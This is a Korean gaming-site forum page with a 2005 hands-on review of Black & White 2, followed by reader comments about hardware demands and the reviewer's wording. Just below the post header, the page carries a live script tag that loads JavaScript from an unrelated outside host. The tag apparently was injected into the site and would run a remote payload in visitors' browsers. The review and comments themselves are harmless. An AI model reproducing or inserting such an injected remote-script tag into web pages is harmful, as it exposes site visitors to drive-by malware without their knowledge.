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[리뷰]

[리뷰] 블랙 앤 화이트 2

글쓴이 : betagam 날짜 : 2005-10-18 (화) 23:27 조회 : 31147


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>

최근 들어 국내의 PC 게임 시장은 비참하리만치 신작 발매가 없는 상황이다. 과거 패키지 게임 전성 시대에는 한 달에 10개 이상의 게임이 발매되고는 했지만 지금은 한 달에 한 두개 나오는 것도 벅찬 상태. 물론 최근 국내 게임 시장의 흐름이 온라인 게임 위주로 완전 재편되고 또 수익을 따져도 PC 게임이 한 없이 우울하다는 것은 인정하지만,

그렇다고 해도 많은 게이머들은 여전히 패키지 게임의 로망을 꿈꾼다. 그래서 더 더욱 이러한 악몽 같은 상황 하에서 꾸준하게 패키지 게임을 발매하는 EA 코리아의 모습은... 어디까지나 사견임을 전제로 하여 상당히 고맙다. 그것도 상당 수의 타이틀을 한글화해 주니 말이다.

블랙 앤 화이트는 상당히 유명했던 게임이다. 최고의 게임 디자이너 피터 몰리뉴의 작품이기도 하고, 기네스북에도 오를 정도로 놀라운 인공지능을 자랑하는 게임이었다. 이러한 외적 요소를 제외하더라도 잘 짜여진 구성과 재미, 그리고 오랫동안 즐길 수 있는 요소를 갖춘 정말 몇 안 되는 게임이었던 만큼 만큼 발매 당시의 인기는 가히 상상을 초월했던 기억이 남는다. 이러한 점 때문에 우리는 블랙 앤 화이트 2(이하 블랙 2)에 대해 기대를 하지 않을 수 없다. 과연 얼마나, 그리고 어떤 부분이 업그레이드 될 것인가...

참고로 필자가 이번에 플레이 해 본 버전은 완성판은 아니다. 하지만 몇 가지의 버그들이 고쳐지지 않았을 뿐 게임은 정식 버전과 동일했기 때문에 실제 발매가 되었을 때와 차이점은 없을 것으로 생각한다. 선인의 말씀에 백문이 불여일견이라 했다. 서론은 이쯤 해서 집어 치우고 지금부터 새로운 블랙 앤 화이트가 어떠한 모습으로 등장했는지 한번 살펴보도록 하자.

수탉이 우는 것을 막아달라는 시민

당신은 수탉을 조용히 시켜 신의 권위를 세울 수 있을까?

선과 악이 반겨주면서 게임은 시작된다

게임을 접하게 되면서 가장 먼저 만나게 되는 것이 바로 선과 악이다. 이 게임은 게이머가 신이 되어 사람들을 다스리는 갓(God) 시뮬레이션이기 때문에 어떠한 행동을 하느냐에 따라 착한 모습의 신이 될 수도 있고 공포의 신이 될 수도 있다. 그리고 이러한 부분을 조언해 주는 것이 바로 선과 악이다.

선은 항상 자애롭고 사람들을 생각하는 조언을 해 주며, 악은 사람들에게 신의 위엄성을 보여 주는 파괴적인 행동들에 대한 이야기를 해 준다. 어느 쪽을 선택할 것인지는 물론 게이머의 몫이고 말이다. 이미 어느 정도의 정보가 공개되어 알고 있는 사람도 있겠지만 선과 악이 이야기하는 방대한 내용(정말로 방대하다)은 모두 한글 음성으로 수록되어 끊임 없이 외쳐대는 이들의 이야기를 듣는 것도 나름대로의 재미를 준다.

이들이 당신과 함께 할 선과 악이다

선과 악의 임무는 단순한 조언에 그치지 않는다. 게임의 전반적인 튜토리얼과 목표 부여 등 게임을 진행하는데 필요한 각 부분에 걸쳐 광범위하게 활용되는 것이다. 기본적인 이동부터 건물의 건설, 전투에 이르기까지 대부분의 게임 진행에 있어 이들은 처음 게임을 시작하는 게이머를 위해 쉽고도 자세한 설명을 해 줄 것이다.

간단한 기초부터 하나씩 차근 차근히 알려 준다

병사들의 조작에 대해 설명하는 모습

나만의 마을을 건설해 보자

이 게임이 전작과 확연하게 다른 점은 도시를 건설하는 심시티 기능의 추가라고 할 수 있다. 게이머는 단순한 조작만으로 멋진 도시를 만들 수 있는데 처음에는 기본적인 집과 건물들만 건설할 수 있지만 이후 새로운 건물을 구입하고 마을을 발전시킴에 따라 성벽이나 보다 진화된 건물들을 생성할 수 있게 된다.

또 이에 비례해서 도시도 점차 멋진 모습으로 변해 가는데, 피터 몰리뉴의 파퓰러스 시리즈를 해 본 경험이 있는 사람이라면 그 느낌을 어느 정도 상상할 수 있을 것이다. 블랙 2에서는 파퓰러스의 도시 건설 기능을 한층 발전시켜 보다 간단하고도 편리하게 멋진 도시를 건설할 수 있다.

처음에는 별 볼일 없던 도시가

점차 멋진 모습으로 탈바꿈해 간다

최초에는 몇 명의 시민들을 이용하여 도시 건설이 진행된다. 도시의 건설이라고 하니 뭔가 복잡하고 그럴 듯 하게 보이지만 실제로는 정말 쉽고 단순하다. 다들 알고 있다시피 게이머는 이 게임에서 한 명의 ‘신’이다. 따라서 게임 상에서의 모든 일은 신 마음대로라는 것을 염두에 두어야 한다.

최초의 시민들은 별 볼일 없는 보통의 백수들일 뿐이지만 이러한 백수들을 당신의 손으로 집어 적절한 곳에 떨어뜨리면 그들은 하나의 훌륭한 일꾼이 된다. 들판에 떨어뜨리면 농부가, 나무에 떨어뜨리면 나무꾼이 되는 것이다. 이들은 게이머가 지시한 대로 훌륭하게 그 일을 수행한다. 시민을 늘리고 싶으면 다른 이성이 있는 곳에 시민을 떨어뜨려 번식부로 만들면 된다. 참으로 간단하지 않은가?

적당한 곳에 떨어트리면 그에 맞는 역할을 가지게 된다

현재 시민들이 무엇을 하고 있는지도 쉽게 볼 수 있다

건물을 건설하는 것 역시 마찬가지다. 원하는 건물을 선택해 중앙 홀에 해당 건물을 나타나게 한 후 이를 드래그하여 원하는 곳에 끌어다 놓으면 된다. 그 후 주변의 나무를 뽑아 건물 터에 놓으면 자재가 준비되고, 다시 시민을 터에 휙 하고 던져 넣어 주면 끝. 얼마 후면 새로운 건물이 완성되는 모습을 볼 수 있다. 물론 자신의 힘을 과시하고 싶어 직접 건설을 하거나 또 시민들을 어여삐 여겨 직접 곡물이나 광물을 채집해 저장소에 넣어 줄 수도 있다. 이런 식으로 시민들을 늘려 가면서 도시를 발전시키게 되는 것이다.

드래그로 건물을 끌어다 놓으면 된다

점점 발전해 가는 도시

게임을 시작하면 이러한 과정을 하나씩 목표로 부여해 친절하게 모든 것을 가르쳐 준다. 하나의 목표가 완료되면 다음 목표가 등장하고, 이렇게 목표들을 수행하다 보면 기본적인 조작법을 모두 알게 된다. 참고로 목표를 달성하면 일정 량의 골드를 손에 넣게 되는데 이 골드를 이용하면 보다 상급의 건설물(또는 지형 등)을 구입할 수 있다. (한번 구입한 건설물은 이후 도구 막대에서 클릭하면 중앙의 홀에 등장한다.)

여기서 빼 놓을 수 없는 사실 하나! 그것은 블랙 2가 전작과 달리 시점을 자유롭게 변화시킬 수 있다는 점이다. 좌우상하 회전이나 확대 축소가 가능하기 때문에 시민들의 생활 모습이나 점차 아름답게 변해가는 도시의 모습을 다양한 시점으로 감상할 수 있다.

골드 스크롤을 클릭해 새로운 목표를 받을 수 있다

입수한 골드를 이용해 상급 건물의 건축을 개방하고 건설하는 것이 가능해진다

시뮬레이션? RTS?

블랙 2가 보여주는 새로움은 비단 심시티 뿐만이 아니다. 마치 RTS 게임을 즐기는 듯 한 전투 부분 역시 상당히 눈여겨 보아야 할 것이다. 전투는 실시간으로 이루어지며 RTS 게임처럼 간단한 단축키로 부대를 선택할 수 있고 부대의 깃발을 이용해 이동과 전투를 자유롭게 할 수 있다. 부대 규모는 적게는 수십 명부터 많게는 수백 명에 이르는데 수백 명의 아군과 적군이 뒤엉켜 싸우는 모습은 감탄을 자아낼 만큼 놀랍다.

부대 별로 이동의 지정 등을 할 수 있다

절대 적은 규모의 전투가 아니다

사실 블랙 2에서는 전투를 하지 않아도 주변의 도시들을 흡수할 수 있는 방법이 있기에 굳이 사용하지는 않아도 된다. 하지만 단순히 선한 생활을 위해서 그냥 포기하기에는 전투의 재미가 꽤나 크다. 특히 전작에서 단순히 신의 대리인 격인 위치에 있었던 크리쳐를 직접 전투에 참가시킬 수도 있고(크리쳐는 상당히 강력한 유닛이다), 게이머 자신이 마법 등으로 공격할 수도 있다. 인접 도시를 공격할 때 상대 도시의 크리쳐와 게이머의 크리쳐가 서로 공격하는 모습을 볼 수도 있다.

병사들은 전투를 하면서 업그레이드 되기도 하고 기술의 발전에 따라 전투 능력이 상승하기도 한다. 여기에 각 국가별로 병사들의 스타일과 그래픽이 조금씩 다르기도 하다. 병사들에게는 유지비 개념이 있어 무작정 많이 만들 수는 없기에 얼마나 정예인가에 따라, 또 크리쳐가 얼마나 강한 지에 따라 전투의 행방이 좌우된다.

양 진영의 크리쳐들이 서로 싸우는 모습

각 병사들은 국가 별로 모습이 다르다

공성전까지 즐길 수 있는 등 갖출 만한 것은 다 갖추었다

게이머의 무서운 힘을 보여줄 수도 있다

크리쳐를 이용한 다양한 플레이

마지막으로 다룰 요소는 크리쳐이다. 크리쳐는 전작에서도 빼 놓을 수 없는 요소 중 하나였다. 그도 그럴 것이 앞서 게이머의 대리인으로써 게임을 진행하는데 중요한 역할을 했기 때문이다. 이러한 크리쳐의 활용도가 블랙 2에서는 더욱 높아졌다. 신의 대리인이라는 직함을 버리고 하나의 특수 유닛으로 활용이 가능해진 것이다.

크리쳐는 전방에 서서 적 도시를 함락시킬 수도 있고 시민들을 도와 도시를 발전시키는 데 도움을 줄 수도 있다. 게이머가 크리처를 선한 방향으로 키우는지 악한 성격을 갖게 만드는 지에 따라 그 활용도도 달라지고 말이다. 어쨌든 크리쳐의 활용도가 높아짐에 따라 크리쳐 육성에 따른 재미도 한층 강화되었고, 보다 세세한 행동까지 크리쳐에게 지시할 수 있게 되었다.

사용할 수 있는 크리쳐는 소, 원숭이, 사자, 늑대이다

선량햔 크리쳐를 만들어 사람들에게 도움을 줄 수도 있다

적진을 향해 돌진하는 크리쳐의 모습

발매가 기다려지는 게임

게임을 플레이하는 내내 필자는 블랙 2의 매력에 흠뻑 빠져 있었다. 오랜 시간을 준비한 덕분인지 전작에서 부족했던 부분들을 수정, 보완한 모습이 많이 엿보이고 게임관 관련한 단점은 거의 보이지 않았다. 간단하면서도 멋지게 만들어 낸 도시 건설 부분이나 전략 게임을 즐기는 듯 한 전투, 그리고 간간히 발생하는 부가 목표 등은 게임의 재미를 한 차원 더 끌어 올려준다.

크리쳐의 활용도도 높아졌고 원시 시대를 벗어나 문명 시대가 배경이라는 점도 환영할 만 하다. 전작에 비해 게이머가 가지는 힘 자체가 더 커졌기 때문에 게임을 진행해 보면 정말 신이 된 듯한 느낌이 더욱 강하게 드는 점도 좋다. 조작 역시 대부분을 손 하나로 해결할 수 있어 간결한 인터페이스가 돋보였다. 전작을 경험했던 게이머라면, 아니 전작의 플레이 유무에 상관 없이 게임을 좋아하는 사람이라면 이 게임은 상당한 만족감을 줄 것 같다. 실제로 게임을 접해 본다면 필자의 말이 결코 거짓말이 아니라는 것을 알게 될 것이다.

게임샷 김은태(gmbros)


로이머스탱 (220.♡.163.37) 2005-10-19 (수) 16:56
오랜만에 보는 리뷰네요.. 저만큼 크리쳐 키우기가 ㅅ힘든,, orz
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망할루피 (59.♡.8.189) 2005-10-23 (일) 09:01
꽤 사양을 많이 탄다길래 포기했다는 -_-
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SA자유도 (222.♡.62.60) 2005-10-25 (화) 20:36
라뎅에만 최적화된 겜이죠.....지포스는 완전 OTL입니다.......
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양병아 (222.♡.9.54) 2005-10-25 (화) 23:12
라뎅인데 ㅎㅎ
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뉴기니블랙전갈 (211.♡.8.148) 2005-10-26 (수) 22:34
F.E.A.R 만큼이나 사양을 많이 타나요?
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중저사양 (210.♡.250.112) 2005-10-30 (일) 03:00
저도 지포스 유저인데, 블랙앤 화이트 설치 하고 실행했다가 커다란 낭패를 봤답니다.
사양을 많이 타더군요, 피어만큼이나,,
느린 게임의 속도와 깔끔하지 못한 그래픽은 게임의 재미를 상당히 반감시키죠,,
블랙앤화이트의 명성을 일찍이 들었음에도 불구 직접 해본 결과로는
영 아니 올시다 였어요,, 당연히 뚝뚝 끊기는 그래픽과 느리고 더딘 화면의 전개때문이었겠죠, 하여간 사양 많이 탑니다.
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유우나 (218.♡.33.232) 2005-10-30 (일) 11:15
재미있겠다 ㅜ0ㅜ
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싸이렌 (221.♡.169.212) 2005-11-06 (일) 18:22
이래저래 게시판을 지켜본 저로서 자유도 라는님이 뭔 말만하면 그냥 씹으시는라 정신이 없으시군요. 그 내용은 듣지도 안고 그냥 무시하시는라 정신이 없으신듯. 저도 솔직히 블랙앤화이트 저도 중가 컴퓨터를 가진 유저로서 이미 사양에 굴복하고 관심끊은 게임입니다. 로딩의 압박과 한마디로 최적화는 꽝인 께임, 뭐만 하면 딱딱 끊겨서 저 그다지 프레임율 신경안쓰는데 지금이 무슨 활동사진기 시대도 아니고 딱딱 끊기는 행위에 분노, 프레임율 자유도님만 따지는것도 아니지 안습니다. 저정도면 양호한 거죠? 그 그래픽카드 가격으로 중저가 사양의 Pc한대도 맞추는데 말입니다.
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silentecho (220.♡.211.166) 2005-12-20 (화) 00:59
블랙&화이트 1 편도 꽤나 재밌게 했던 기억이...ㅎㅎ
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료코상~! (218.♡.180.21) 2005-12-22 (목) 18:07
쥐포유저인데. 쥐포에서도 잘 돌아 갑니다.

다만 램이 1기가 이상이 되어야 잘 돌릴수 있을듯...

램을 많이 필요로하는 군요.
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료코상~! (218.♡.180.21) 2005-12-22 (목) 18:08
그리고 안티 너무 많이 올리지 마시고 적당히 중간즈음으로 맞추시면 지포에 렘 1기가로 충분히 돌립니다.
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백한얼 (203.♡.100.195) 2005-12-23 (금) 17:26
...그래픽 부터 포기다...
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Wakku (58.♡.112.82) 2005-12-27 (화) 02:27
잘되던데..
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육군사령장관 (220.♡.169.26) 2006-02-10 (금) 19:17
저 .. 주문해서.. 3일뒤쯤에 올텐데;.. ;;;; 글픽 그래 놓나요?;;; 울집 펜티엄 4 ,,,;; 3.00GHZ인데
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김영건 (218.♡.58.2) 2006-02-20 (월) 12:59
울나라는 어쩔수없어 와레즈등과 모든 파일공유사이트와p2p를 없애지 않으면
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므훗 (220.♡.202.11) 2006-03-16 (목) 23:14
저 기자의 말중.. "조작 역시 대부분을 손 하나로 해결할 수 있어 간결한 인터페이스가 돋보였다. 전작을 경험했던 게이머라면, 아니 전작의 플레이 유무에 상관 없이 게임을 좋아하는 사람이라면 이 게임은 상당한 만족감을 줄 것 같다. 실제로 게임을 접해 본다면 필자의 말이 결코 거짓말이 아니라는 것을 알게 될 것이다. "
<-- 이거 개구라입니다 --.. 손하나로 해결하기는 무슨.. 이기자는 겜 해보지도 않고 리뷰썻나보네요 인터페이스가 얼마나 불편한데... 타이베리안선 인터페이스가 블화보다는 낫겟다고 생각이들정도...
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부기맨 (124.♡.207.26) 2006-04-22 (토) 00:14
필자란 말이 난무하는군요.. 사전적의미는 별거 아닐지 모르지만 게임 리뷰에 필자란 말은 좀 과분하군요.. 꽤 이름난 영화 평론가들도 필자란 말을 쉽게 쓰지 않는걸로 알고 있는데..
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키요마로 (68.♡.60.250) 2006-05-04 (목) 09:41
筆者 말그대로 글쓴사람입니다
요상한소리 하지맙시다
리뷰도 엄연한 글이고 정성이 들어갔습니다
님말대로라면 고딩 선생님은 선생님이고
유치원선생님은 선생님 아닙니까?
글쓰면 필자라는 말쓰는건 많을수도 있지
글쓴이를 한자로 필자라고 쓰면 글쓴이 보다 
더 높아보이도 유식해보이는건 부기맨님 께서만 그런겁니다
열씸히 리뷰써주셨는데 요상망측한 태클걸지 마시길
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